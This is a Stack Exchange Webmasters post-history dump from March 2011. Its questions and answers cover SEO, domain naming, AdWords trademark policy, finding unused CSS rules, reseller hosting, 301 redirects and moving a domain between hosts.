  <row Id="22375" PostHistoryTypeId="2" PostId="10037" RevisionGUID="72f19138-9e10-4ab9-80a6-cdac902d255a" CreationDate="2011-03-04T14:09:15.543" UserId="3659" Text="**About your specific website**&lt;br /&gt;&#xD;&#xA;Assuming you are talking about the &quot;.com&quot; website: I am sorry to say, but about everything is wrong with your website when considering the &quot;rules&quot; you have to follow to gain proper SERP results. A good starting point would be to start reading the webmaster guidelines from Google: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=35769&#xD;&#xA;&#xD;&#xA;**About the question you posted**&lt;br /&gt;&#xD;&#xA;The search engines would are not necessarily &quot;punishing&quot; websites that have &quot;long&quot; domain names. However, from a users perspective you would want to read a domain name that is easy to read and one that reflects the contents of the website it represents. This DOES NOT mean summing up a string of keywords and place &quot;.com&quot; at the end of it. It has no added value and might even be seen as a &quot;spammy&quot; activity." />
  <row Id="22376" PostHistoryTypeId="2" PostId="10038" RevisionGUID="94a71843-8399-4c58-88ca-0d47c162c457" CreationDate="2011-03-04T14:17:50.797" UserId="3659" Text="CTR: Click Through Ratio&lt;br /&gt;&#xD;&#xA;Impressions: The amount of times it is displayed&#xD;&#xA;&#xD;&#xA;So lets say you have a webpage. Then Google can show your page in its SERP's (using the snippet they have created). The amount of times it is shown to the Google visitors is called: Impressions.&#xD;&#xA;&#xD;&#xA;When Google users click your snippet (from the search engine results) they &quot;click through&quot; to your website, thus: click though ratio, being the percentage of users that are presented with your snippet and that actually click it." />
  <row Id="22377" PostHistoryTypeId="25" PostId="10026" RevisionGUID="94b52a5e-494d-4ffb-b08d-d6cea5aa27d9" CreationDate="2011-03-04T14:23:17.360" Comment="http://twitter.com/#!/StackWebmasters/status/43677894521794560" />
  <row Id="22378" PostHistoryTypeId="2" PostId="10039" RevisionGUID="c7ab7956-53fc-481a-8dc0-a9df221337ea" CreationDate="2011-03-04T14:23:30.277" UserId="5338" Text="I inspect an element in google chrome and after modifying and saving my css file &#xD;&#xA;I reload the page to view the result.&#xD;&#xA;&#xD;&#xA;Unfortunately my DOM tree is collapsed then. &#xD;&#xA; &#xD;&#xA;Can it be achieved that it keeps expanded (and focused) at the same point? &#xD;&#xA;&#xD;&#xA;" />
  <row Id="22379" PostHistoryTypeId="1" PostId="10039" RevisionGUID="c7ab7956-53fc-481a-8dc0-a9df221337ea" CreationDate="2011-03-04T14:23:30.277" UserId="5338" Text="Keep google chrome element inspector DOM tree expanded on reload?" />
  <row Id="22380" PostHistoryTypeId="3" PostId="10039" RevisionGUID="c7ab7956-53fc-481a-8dc0-a9df221337ea" CreationDate="2011-03-04T14:23:30.277" UserId="5338" Text="&lt;google&gt;&lt;google-chrome&gt;" />
  <row Id="22381" PostHistoryTypeId="10" PostId="10000" RevisionGUID="73d502b7-f358-40cf-9f5c-4659c2357722" CreationDate="2011-03-04T14:36:48.250" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="22382" PostHistoryTypeId="2" PostId="10040" RevisionGUID="8e4ab9a9-143d-4f01-9d25-5164e49278ee" CreationDate="2011-03-04T14:40:50.167" UserId="1253" Text="Didn't work for me. I'm guessing as of right now this is not possible. Firebug in Firefox seems to do it, though. You may want to try that." />
  <row Id="22383" PostHistoryTypeId="5" PostId="10029" RevisionGUID="c15e2518-6597-49d6-97ec-10758b6d171d" CreationDate="2011-03-04T14:45:42.003" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How to stop certain urls from being indexed](http://webmasters.stackexchange.com/questions/2956/how-to-stop-certain-urls-from-being-indexed)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hi,&#xD;&#xA;&#xD;&#xA;I want to create a personal web site, have my resume on it etc.&#xD;&#xA;&#xD;&#xA;The problem I face is, I don't anyone to search my full name in a search engine and come up with my personal web site.&#xD;&#xA;&#xD;&#xA;Is there a way to program something that would stop this, in ASP.NET?&#xD;&#xA;&#xD;&#xA;Regards&#xD;&#xA;TDG" />
  <row Id="22384" PostHistoryTypeId="10" PostId="10029" RevisionGUID="ad671e28-2ff4-4925-bb0d-9b1a89c44ef9" CreationDate="2011-03-04T14:45:41.910" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="22385" PostHistoryTypeId="2" PostId="10041" RevisionGUID="1d4524da-434e-4cbc-9014-a924e6e72e3a" CreationDate="2011-03-04T14:45:58.693" UserId="3659" Text="I have stumbled upon this many times when using Google.&#xD;&#xA;&#xD;&#xA;However, something I have recently noticed:&#xD;&#xA;&#xD;&#xA;I live in Amsterdam and there are many companies offering (company)outings. Over the last 2 years the competitions has been growing and the companies started advertising using each others company names. This has been going on for a while and now since a couple of weeks all these advertisements are gone!&#xD;&#xA;&#xD;&#xA;I guess your competitor will find out very soon. If Google will find out is more difficult to say, but according to the above example my expectation is they, sooner or later, will. The consequence will most probably be that you will not be able to use that keyword any more... But it also largely depends on the keyword itself. When its generic it seems unlikely Google can block Advertisers from using it." />
  <row Id="22386" PostHistoryTypeId="6" PostId="10026" RevisionGUID="f24cab75-9ffe-450a-9b14-2f707463c554" CreationDate="2011-03-04T14:46:31.160" UserId="1253" Comment="Removed &quot;html&quot; tag, added &quot;keywords&quot; tag" Text="&lt;seo&gt;&lt;keywords&gt;" />
  <row Id="22387" PostHistoryTypeId="5" PostId="10025" RevisionGUID="6a3d8c63-af4c-4a57-afe5-826764502278" CreationDate="2011-03-04T14:50:04.760" UserId="5727" Comment="added 234 characters in body" Text="If I have widget company called &quot;Widget Designer&quot; and I have a direct competitor who has &quot;Widgitator Version 5&quot;, am I allowed to target a campaign using the literal keywords &quot;Widgitator&quot;?&#xD;&#xA;&#xD;&#xA;Is this OK?  Will they ever find out?  Is it bad business?&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;I can't really say what the words are, but this is a good example, if my product is called &quot;Chair-o-matic&quot; and it makes chairs, and a competitors is called &quot;Chair Maker 5&quot; can I target the keyword pair &quot;Chair Maker&quot;?" />
  <row Id="22388" PostHistoryTypeId="2" PostId="10042" RevisionGUID="37356e7e-6e07-41ad-9d14-6c4fcab9c1bc" CreationDate="2011-03-04T14:53:14.773" UserId="1253" Text="[What is Google's AdWords and AdSense trademark policy?][1]&#xD;&#xA;&#xD;&#xA;&gt; Google recognizes the importance of&#xD;&#xA;&gt; trademarks. Our AdWords Terms and&#xD;&#xA;&gt; Conditions prohibit intellectual&#xD;&#xA;&gt; property infringement by advertisers.&#xD;&#xA;&gt; Advertisers are responsible for the&#xD;&#xA;&gt; keywords they choose to generate&#xD;&#xA;&gt; advertisements and the text that they&#xD;&#xA;&gt; choose to use in those advertisements.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Google takes allegations of trademark&#xD;&#xA;&gt; infringement very seriously and, as a&#xD;&#xA;&gt; courtesy, we investigate matters&#xD;&#xA;&gt; raised by trademark owners. Trademarks&#xD;&#xA;&gt; are territorial and apply only to&#xD;&#xA;&gt; certain goods or services. Therefore,&#xD;&#xA;&gt; different parties can own the same&#xD;&#xA;&gt; mark in different countries or&#xD;&#xA;&gt; different industries. Accordingly, in&#xD;&#xA;&gt; processing complaints, Google will ask&#xD;&#xA;&gt; the trademark owner for information&#xD;&#xA;&gt; regarding where the mark is valid and&#xD;&#xA;&gt; for what goods or services. Please&#xD;&#xA;&gt; note the following about our complaint&#xD;&#xA;&gt; process:&#xD;&#xA;&gt; &#xD;&#xA;&gt;  - The trademark owner doesn't need to be a Google AdWords advertiser in&#xD;&#xA;&gt; order to send a complaint.&#xD;&#xA;&gt; &#xD;&#xA;&gt;  - Any such investigation will only affect ads served on or by Google.&#xD;&#xA;&gt; &#xD;&#xA;&gt;  - Google's trademark policy does not apply to search results. Our&#xD;&#xA;&gt; investigations only apply to sponsored&#xD;&#xA;&gt; links. For trademark concerns about&#xD;&#xA;&gt; websites that appear in Google search&#xD;&#xA;&gt; results, the trademark owner should&#xD;&#xA;&gt; contact the site owner directly.&#xD;&#xA;&gt; &#xD;&#xA;&gt;  - In the case of an AdSense for Domains trademark complaint, an&#xD;&#xA;&gt; investigation will affect only the&#xD;&#xA;&gt; participation of the domain name in&#xD;&#xA;&gt; question in our AdSense for Domains&#xD;&#xA;&gt; program.&#xD;&#xA;&gt; &#xD;&#xA;&gt;  - Because Google is not a third-party arbiter, we encourage trademark owners&#xD;&#xA;&gt; to resolve their disputes directly&#xD;&#xA;&gt; with the advertisers, particularly&#xD;&#xA;&gt; because the advertisers may have&#xD;&#xA;&gt; similar ads running via other&#xD;&#xA;&gt; advertising programs.&#xD;&#xA;&#xD;&#xA;  [1]: http://adwords.google.com/support/aw/bin/answer.py?hl=en&amp;answer=6118" />
  <row Id="22389" PostHistoryTypeId="6" PostId="10027" RevisionGUID="7e7653c2-e304-4f75-b9ba-ef7996acca38" CreationDate="2011-03-04T14:54:09.983" UserId="1253" Comment="Removed &quot;robots'&quot; tag" Text="&lt;seo&gt;&lt;domains&gt;" />
  <row Id="22390" PostHistoryTypeId="2" PostId="10043" RevisionGUID="9cc80a65-59ce-4417-af36-5766b5db837a" CreationDate="2011-03-04T15:31:06.127" UserId="5837" Text="I've got a huge CSS file and an HTML file. I'd like to find out which rules are not used while displaying a HTML file. Are there tools for this?&#xD;&#xA;&#xD;&#xA;The CSS file has evolved over few years and from what I know no one has ever removed anything from it--people just wrote new overriding rules again and again.&#xD;&#xA;&#xD;&#xA;Thank you," />
  <row Id="22391" PostHistoryTypeId="1" PostId="10043" RevisionGUID="9cc80a65-59ce-4417-af36-5766b5db837a" CreationDate="2011-03-04T15:31:06.127" UserId="5837" Text="Find out not used CSS rules" />
  <row Id="22392" PostHistoryTypeId="3" PostId="10043" RevisionGUID="9cc80a65-59ce-4417-af36-5766b5db837a" CreationDate="2011-03-04T15:31:06.127" UserId="5837" Text="&lt;css&gt;&lt;optimization&gt;" />
  <row Id="22393" PostHistoryTypeId="2" PostId="10044" RevisionGUID="853efe31-5951-480a-9cf3-00c5c30643d5" CreationDate="2011-03-04T15:36:06.437" UserId="1253" Text="[Dust Me Selecters][1] Firefox extension&#xD;&#xA;&#xD;&#xA;In Chrome's Developer Tools you can use the Web Page Performance tool to find unused CSS rules.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitepoint.com/dustmeselectors/" />
  <row Id="22394" PostHistoryTypeId="2" PostId="10045" RevisionGUID="a74e65eb-141f-4387-a34b-64ef25d9bd13" CreationDate="2011-03-04T15:39:17.917" UserId="3659" Text="Please note that the pagerank you see is the so called &quot;toolbar-pr&quot;. Google updates the pagerank of your pages much more often but only updates / exports the toolbar-pr every couple of months. So it can be that your inner pages do have a higher pagerank, but that is not yet reflected in your pagerank tool. Reference: http://en.wikipedia.org/wiki/PageRank#Google_Toolbar&#xD;&#xA;&#xD;&#xA;For the rest I agree with John Conde." />
  <row Id="22395" PostHistoryTypeId="2" PostId="10046" RevisionGUID="6ae6c1d8-dd48-4d97-94d1-3e85718d5708" CreationDate="2011-03-04T15:48:42.103" UserId="5839" Text="I am finally getting regular work desiging, developing, and deploying websites for small businesses and individuals. So far the websites utilize single-user content management systems, so the websites create, as far as I know, minimal load on the shared servers. &#xD;&#xA;&#xD;&#xA;I have always required that each of my clients purchase annual shared hosting at Dreamhost. For domain registration, I ask that they register with Dreamhost, but some already have a registered domain elsewhere and this is fine with me. I do this so the billing issues are the client's responsibility, not mine.&#xD;&#xA;&#xD;&#xA;**My question is**: Since I can register unlimited domains and connect them to my one shared hosting account at Dreamhost, should I not be requiring clients to individually pay for shared hosting and a domain? Should I actually be paying for one hosting account and then hosting all of my client's websites on that account? As I said before, I currently have each client buy their own hosting, because I feel that, for example, if there is high traffic to their site, there would be less a chance of the site going down than if their site was hosted with many others on one account.&#xD;&#xA;&#xD;&#xA;I am famous for being long-winded, please let me know if I can clarify at all. Thanks!" />
  <row Id="22396" PostHistoryTypeId="1" PostId="10046" RevisionGUID="6ae6c1d8-dd48-4d97-94d1-3e85718d5708" CreationDate="2011-03-04T15:48:42.103" UserId="5839" Text="Hosting and domain registrations for multiple clients" />
  <row Id="22397" PostHistoryTypeId="3" PostId="10046" RevisionGUID="6ae6c1d8-dd48-4d97-94d1-3e85718d5708" CreationDate="2011-03-04T15:48:42.103" UserId="5839" Text="&lt;web-hosting&gt;" />
  <row Id="22398" PostHistoryTypeId="2" PostId="10047" RevisionGUID="f94cc649-d66b-424a-b745-855d83a2bcd6" CreationDate="2011-03-04T15:49:02.353" UserId="5840" Text="I have developed a service ( [EmbeddedAnalytics][1] ) which utilizes the Google Analytics API and allows you to create charts and then embed them into websites.  Recently we just added support for &quot;multi-domain&quot; charts (if you do check it out, just make a chart using the &quot;Wizard&quot; and then you have the option of adding additional domains/profiles).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.embeddedanalytics.com" />
  <row Id="22399" PostHistoryTypeId="2" PostId="10048" RevisionGUID="db5d1802-79ca-48e0-a838-abc2889d41ae" CreationDate="2011-03-04T15:55:34.143" UserId="1253" Text="Get a reseller account and set up your clients using that. That way you have control over their hosting but only have one bill to pay. You also can charge them for their hosting and either give them a really good deal or make yourself even more money. If someone's site starts using a lot of resources get them their own account or dedicated server. The chances of that happening is small but if it does migrating to better hosting would be part of the plan anyway.&#xD;&#xA;&#xD;&#xA;I use Hostgator's reseller plan and it handles everyone seamlessly and even gives them their own Cpanel control panels, etc. " />
  <row Id="22400" PostHistoryTypeId="12" PostId="10048" RevisionGUID="cea94a36-d304-403e-b7ec-6874137f41ef" CreationDate="2011-03-04T15:56:04.533" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="22401" PostHistoryTypeId="2" PostId="10049" RevisionGUID="1d3d8f0f-10cf-4a1e-a74a-dc8bbdf8baa0" CreationDate="2011-03-04T14:12:53.890" UserDisplayName="Riley" Text="I'm trying to guess how many loyal users I have by counting the number of people that have visited the site 10 times.  How can I answer this question with Google Analytics?&#xD;&#xA;&#xD;&#xA;&quot;Visitor Loyalty&quot; is a tempting answer, but the label for loyalty is &quot;Visits that were the visitor's nth visit,&quot; and I want something more like &quot;Visitors that visited n times.&quot;&#xD;&#xA;&#xD;&#xA;For example, we have 40 visits in the &quot;51-100&quot; visit range, but I think that could be a single user who visited 91 times.  Or two users who visited 71 times each.  The whole chart makes a good logic puzzle (I wonder if there's a unique solution) but doesn't easily answer the question I have." />
  <row Id="22402" PostHistoryTypeId="1" PostId="10049" RevisionGUID="1d3d8f0f-10cf-4a1e-a74a-dc8bbdf8baa0" CreationDate="2011-03-04T14:12:53.890" UserDisplayName="Riley" Text="Google analytics: how many visitors have visited n times?" />
  <row Id="22403" PostHistoryTypeId="3" PostId="10049" RevisionGUID="1d3d8f0f-10cf-4a1e-a74a-dc8bbdf8baa0" CreationDate="2011-03-04T14:12:53.890" UserDisplayName="Riley" Text="&lt;google-analytics&gt;" />
  <row Id="22404" PostHistoryTypeId="17" PostId="10049" RevisionGUID="35807240-d488-43d3-b126-5e5cca3ee884" CreationDate="2011-03-04T15:59:21.343" UserId="-1" Comment="from http://stackoverflow.com/questions/5194844/google-analytics-how-many-visitors-have-visited-n-times" Text="" />
  <row Id="22405" PostHistoryTypeId="13" PostId="10048" RevisionGUID="0aa9706f-d0df-4c1c-8881-2907cc8cec9b" CreationDate="2011-03-04T16:00:47.587" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="22406" PostHistoryTypeId="2" PostId="10050" RevisionGUID="70025dd5-4fc3-4dc9-81d7-7bc6716a8a24" CreationDate="2011-03-04T16:01:34.967" UserId="5841" Text="For a news site your probably, at the very least, wanting:&#xD;&#xA;&#xD;&#xA;**CCK**- gives you the ability to create custom nodes&#xD;&#xA;&#xD;&#xA;**pathauto**- allows the automatic creation of human readable urls&#xD;&#xA;&#xD;&#xA;**views**- very versatile module that lets you create aggregates of content based on rules and restriction&#xD;&#xA;&#xD;&#xA;**Panels**- lets you group different pieces of drupal structures on one page (a view, a node and a search form on the same page)&#xD;&#xA;&#xD;&#xA;I think the first step is to get your roles set up properly as to who's allowed to do what etc.  And, yes, more information would be much more helpful." />
  <row Id="22407" PostHistoryTypeId="5" PostId="10048" RevisionGUID="bfa02b0a-c10c-41b7-9186-bf9312a77588" CreationDate="2011-03-04T16:02:57.817" UserId="1253" Comment="added 39 characters in body" Text="Get a reseller account and set up your clients using that (don't know if dreamhost offers those). That way you have control over their hosting but only have one bill to pay. You also can charge them for their hosting and either give them a really good deal or make yourself even more money. If someone's site starts using a lot of resources get them their own account or dedicated server. The chances of that happening is small but if it does migrating to better hosting would be part of the plan anyway.&#xD;&#xA;&#xD;&#xA;I use Hostgator's reseller plan and it handles everyone seamlessly and even gives them their own Cpanel control panels, etc. " />
  <row Id="22408" PostHistoryTypeId="2" PostId="10051" RevisionGUID="3f85b1c5-a7fc-4565-919f-3da0ab2ec223" CreationDate="2011-03-04T16:06:46.143" UserId="5594" Text="We were asked by a client to change a website so that any pages/Urls we were hosting on an older site would now redirect to a newer site hosted somewhere else and a different domain name to boot.&#xD;&#xA;&#xD;&#xA;We did this by changing each page in the IIS site management, to redirect to a url on their new domain instead of rendering a page locally.&#xD;&#xA;&#xD;&#xA;According to the redirect tool here: http://www.webconfs.com/redirect-check.php . What we have done is search engine friendly.&#xD;&#xA;&#xD;&#xA;Problem now is... the client has been on a course learning all about meta tags and so thinks they have a better understanding of the &quot;matrix&quot; (remember there is no spoon). As Google still has the older site appearing in a search, this isnt helping matters.&#xD;&#xA;&#xD;&#xA;I have tried to explain, we have to wait for Google to reindex. I'm not blowing smoke am I?&#xD;&#xA;&#xD;&#xA;I'm now starting to wonder... will the older site always appear in a search, even though the pages don't exist?  Is there a better way I should be redirecting their site to ensure google will stop keeping an index of pages that no longer exist and would instead replace them with the content in the newer site?&#xD;&#xA;&#xD;&#xA;a suggestion on the site mentioned above is to use the code:&#xD;&#xA;&#xD;&#xA;    Response.Status=&quot;301 Moved Permanently&quot;&#xD;&#xA;    Response.AddHeader &quot;Location&quot;,&quot;http://www.new-url.com/&quot;&#xD;&#xA;&#xD;&#xA;Does using the option in the IIS management tool to redirect the url not do the same?" />
  <row Id="22409" PostHistoryTypeId="1" PostId="10051" RevisionGUID="3f85b1c5-a7fc-4565-919f-3da0ab2ec223" CreationDate="2011-03-04T16:06:46.143" UserId="5594" Text="Will search engines reindex a page that has been set to redirect on to a newer site page?" />
  <row Id="22410" PostHistoryTypeId="3" PostId="10051" RevisionGUID="3f85b1c5-a7fc-4565-919f-3da0ab2ec223" CreationDate="2011-03-04T16:06:46.143" UserId="5594" Text="&lt;redirects&gt;&lt;indexing&gt;&lt;301-redirect&gt;&lt;iis&gt;" />
  <row Id="22411" PostHistoryTypeId="2" PostId="10052" RevisionGUID="3d08be4e-2ee5-4d1a-84fe-df011ee888f8" CreationDate="2011-03-04T16:11:22.553" UserId="3659" Text="I am not 100% sure about your question, but I am guessing your answer will be here: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=164734" />
  <row Id="22412" PostHistoryTypeId="2" PostId="10053" RevisionGUID="0b1241a6-8998-4896-9416-361d9c79ccd6" CreationDate="2011-03-04T16:11:31.693" UserId="1253" Text="It takes a while for Google and the other search engines to notice pages have moved and adjust their indexes accordingly. It definitely does not happen quickly much less overnight. So even though you have set up redirects those old pages will still show in the SERPs for a little while. Fortunately when a user clicks on the search results they will be taken to the new page thanks to the redirect. Basically at this point it is a waiting game. " />
  <row Id="22413" PostHistoryTypeId="2" PostId="10054" RevisionGUID="f4eceed1-008c-48ce-bd09-33c01124785a" CreationDate="2011-03-04T16:18:33.920" UserId="5838" Text="Oscar,&#xD;&#xA;&#xD;&#xA;If you are interested in building web applications, knowing HTML/CSS is a must.&#xD;&#xA;&#xD;&#xA;I am, like you, a computer scientist and I'm happy I have spent some time in the trenches of HTML and CSS.&#xD;&#xA;Sure, you want to do database stuff, and need to do a lot of server-side programming too. Many people see these things (HTML versus serverside programming) as complete opposites. But with the advent of web applications (and even more so with HTML5) this line has started to blur.&#xD;&#xA;&#xD;&#xA;So I say: learn both" />
  <row Id="22414" PostHistoryTypeId="2" PostId="10055" RevisionGUID="777b8f4f-5b59-4f7e-aada-99743dd7b81f" CreationDate="2011-03-04T16:26:39.607" UserId="5839" Text="I need to install the fileinfo extension for PHP on my server. My hosting service does not support help with this. I know I could learn it and do it myself, but since I am an independent contractor, I know that server administration is the weakest part of my abilities and a DIY approach is going to cost me a lot more time that I would like (and more time than I have in the near-future). &#xD;&#xA;&#xD;&#xA;What is the best way to go about hiring a trustworthy contractor to either install the fileinfo extension for me or to train me in how to do this. Thank-you." />
  <row Id="22415" PostHistoryTypeId="1" PostId="10055" RevisionGUID="777b8f4f-5b59-4f7e-aada-99743dd7b81f" CreationDate="2011-03-04T16:26:39.607" UserId="5839" Text="Finding/hiring help with server administration" />
  <row Id="22416" PostHistoryTypeId="3" PostId="10055" RevisionGUID="777b8f4f-5b59-4f7e-aada-99743dd7b81f" CreationDate="2011-03-04T16:26:39.607" UserId="5839" Text="&lt;php&gt;&lt;server&gt;&lt;hiring&gt;" />
  <row Id="22417" PostHistoryTypeId="5" PostId="10043" RevisionGUID="978b1620-c44d-4f62-b218-b4d31f01146d" CreationDate="2011-03-04T16:32:34.397" UserId="5837" Comment="added 659 characters in body; added 47 characters in body" Text="I've got a huge CSS file and an HTML file. I'd like to find out which rules are not used while displaying a HTML file. Are there tools for this?&#xD;&#xA;&#xD;&#xA;The CSS file has evolved over few years and from what I know no one has ever removed anything from it--people just wrote new overriding rules again and again.&#xD;&#xA;&#xD;&#xA;EDIT: It was suggested to use [Dust-Me Selectors][1] or Chrome's Web Page Performance tool. But they both work on level of selectors, and not individual rules. I've got lots of cases where a rule inside a selector is always overridden--and this is what I mostly want to get rid of. For example:&#xD;&#xA;&#xD;&#xA;    body { color: white; padding: 10em; }&#xD;&#xA;    h1 { color: black; }&#xD;&#xA;    p { color: black; }&#xD;&#xA;    ...&#xD;&#xA;    ul { color: black; }&#xD;&#xA;&#xD;&#xA;All the text in my HTML is inside some wrapper element, so it is never white. `body`'s padding always works, so of course the whole `body` selector cannot be removed. And I'd like to get rid of such useless rules too.&#xD;&#xA;&#xD;&#xA;Thank you,&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitepoint.com/dustmeselectors/&#xD;&#xA;" />
  <row Id="22418" PostHistoryTypeId="2" PostId="10056" RevisionGUID="27f7ea4c-5f7f-4044-ac50-84f56bb18566" CreationDate="2011-03-04T16:37:22.617" UserId="2328" Text="I currently have my Wordpress blog hosted with GoDaddy.  I want to transfer my hosting to another hosting provider called Bluehost.  &#xD;&#xA;&#xD;&#xA;I also have my domain name for that blog registered with GoDaddy.  &#xD;&#xA;&#xD;&#xA;How can I either transfer the domain name and the hosting to BlueHost, or (for purposes of not losing that domain name) just transfer the hosting to BlueHost and keep the GoDaddy domain registered with GoDaddy?" />
  <row Id="22419" PostHistoryTypeId="1" PostId="10056" RevisionGUID="27f7ea4c-5f7f-4044-ac50-84f56bb18566" CreationDate="2011-03-04T16:37:22.617" UserId="2328" Text="Switching from GoDaddy Hosting to Bluehost Hosting with/without transfering domain names?" />
  <row Id="22420" PostHistoryTypeId="3" PostId="10056" RevisionGUID="27f7ea4c-5f7f-4044-ac50-84f56bb18566" CreationDate="2011-03-04T16:37:22.617" UserId="2328" Text="&lt;web-hosting&gt;&lt;blog&gt;&lt;godaddy&gt;" />
  <row Id="22421" PostHistoryTypeId="2" PostId="10057" RevisionGUID="24c5ea0c-e794-4669-9487-2f9fc99c1404" CreationDate="2011-03-04T16:39:22.560" UserId="5739" Text="If you &quot;stuff&quot; all of your clients into one account will they get their own Control panel/Stats etc?&#xD;&#xA;&#xD;&#xA;I run a Design &amp; Hosting company and am a reseller for [EZPZHosting][1]. &#xD;&#xA;&#xD;&#xA;£10 a month will get your a reseller account with WHMCS (billing/invoice system) and then you can resell hosting to your clients AND give them all the bells and whistles that John has mentioned including backup, email accounts, forwarding, auto responders one step Software installs, PHP etc etc etc, you will also get a client area for invoicing, support ticket system and a knowledgebase.&#xD;&#xA;&#xD;&#xA;Their level of support is also brilliant and so far the best I have come across.&#xD;&#xA;&#xD;&#xA;Speak to Dan, he will be able to advise you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ezpzhosting.co.uk/" />
  <row Id="22422" PostHistoryTypeId="2" PostId="10058" RevisionGUID="1a6b02fb-bca9-47dd-a3ce-961f0fb77b50" CreationDate="2011-03-04T16:43:51.920" UserId="5739" Text="you have two options:&#xD;&#xA;&#xD;&#xA;1) Keep the domain with GoDaddy (the registrar) and ask them to change the nameservers to point to your new host.&#xD;&#xA;&#xD;&#xA;2) Transfer your domain to the new host and they will then admin it for you and point it to your new site.&#xD;&#xA;&#xD;&#xA;Personally I would go with option 2 as that way you have the hosting and domain name all in the same place and it makes it easier to admin and for billing purposes." />
  <row Id="22423" PostHistoryTypeId="2" PostId="10059" RevisionGUID="e90a2fdd-cf4e-4196-86c0-6aee8ac33aa2" CreationDate="2011-03-04T16:44:10.357" UserId="1253" Text="It should be as simple as changing the DNS servers at Godaddy.com from Goddady's nameservers to Bluehost's nameservers. [You can do that in the control panel at Godaddy.com][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://help.godaddy.com/article/664" />
  <row Id="22424" PostHistoryTypeId="6" PostId="10056" RevisionGUID="093e9d33-db65-4a13-8048-ca16707e02a3" CreationDate="2011-03-04T16:47:22.740" UserId="1253" Comment="Removed &quot;blog &quot; tag, " Text="&lt;domains&gt;&lt;web-hosting&gt;&lt;godaddy&gt;&lt;bluehost&gt;" />
  <row Id="22425" PostHistoryTypeId="2" PostId="10060" RevisionGUID="379a6249-8c68-4012-8330-3dc0e51b7cbc" CreationDate="2011-03-04T16:48:32.610" UserId="3659" Text="Read the manuals. A simple search at Bluehost will give you all the information about transferring the domain name: https://www.bluehost.com/cgi/help/45&#xD;&#xA;&#xD;&#xA;Pick your hosting package, install WP (its just a few clicks at Bluehost), backup your old WP database (http://codex.wordpress.org/WordPress_Backups) and migrate.&#xD;&#xA;&#xD;&#xA;Sorry to say, but not really the right question for this site. Nobody is going to write a full step by step manual for you here..." />
  <row Id="22426" PostHistoryTypeId="2" PostId="10061" RevisionGUID="e97caf5d-3217-4d4a-a8a8-2e777f6126da" CreationDate="2011-03-04T16:50:05.850" UserId="5739" Text="@John: excellent tool, thanks for the link&#xD;&#xA;&#xD;&#xA;@liori: I would also highly recommend the [Firefox Web Developer plugin][1] which lets you display the element names/properties, edit the css in real time (doesn't write to your css file) so you can edit and test css changes without the faff of having to save and upload your css ever 3 seconds. + loads more features. &#xD;&#xA;&#xD;&#xA;There is also a very nice DOM inspector that plugs into Firebug which also plugs in and is great for sorting out Javascript.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/en-us/firefox/addon/web-developer/" />
  <row Id="22427" PostHistoryTypeId="5" PostId="10050" RevisionGUID="c60dabf8-ec36-48bd-be09-d9f97722438c" CreationDate="2011-03-04T16:52:02.423" UserId="5841" Comment="added 2 characters in body" Text="For a news site you're probably, at the very least, wanting:&#xD;&#xA;&#xD;&#xA;**CCK**- gives you the ability to create custom nodes&#xD;&#xA;&#xD;&#xA;**pathauto**- allows the automatic creation of human readable urls&#xD;&#xA;&#xD;&#xA;**views**- very versatile module that lets you create aggregates of content based on rules and restriction&#xD;&#xA;&#xD;&#xA;**Panels**- lets you group different pieces of drupal structures on one page (a view, a node and a search form on the same page)&#xD;&#xA;&#xD;&#xA;I think the first step is to get your roles set up properly as to who's allowed to do what etc.  And, yes, more information would be much more helpful." />
  <row Id="22428" PostHistoryTypeId="16" PostId="7736" RevisionGUID="07f8af8e-d1f8-4b9a-be24-10d0f6c20ebe" CreationDate="2011-03-04T17:06:32.630" UserId="1253" />
  <row Id="22429" PostHistoryTypeId="25" PostId="10043" RevisionGUID="b9f16c67-00a3-4429-94a5-6f5b1a57cabc" CreationDate="2011-03-04T17:23:18.257" Comment="http://twitter.com/#!/StackWebmasters/status/43723198398873601" />
  <row Id="22430" PostHistoryTypeId="2" PostId="10062" RevisionGUID="cc6247fc-e747-40c5-8554-50b467dd85c6" CreationDate="2011-03-04T17:24:03.050" UserId="1643" Text="With cPanel type hosting it's called an addon domain and what it's doing behind the scenes is a redirect. Do you have the option to configure an addon domain or can you do a redirect like this:&#xD;&#xA;RewriteCond %{HTTP_HOST} ^yoga-in-unternehmen.de$ [OR]&#xD;&#xA;RewriteCond %{HTTP_HOST} ^www.yoga-in-unternehmen.de$&#xD;&#xA;RewriteRule ^/?$ &quot;http\:\/\/yoga-in-unternehmen\.de&quot; [R=301,L]" />
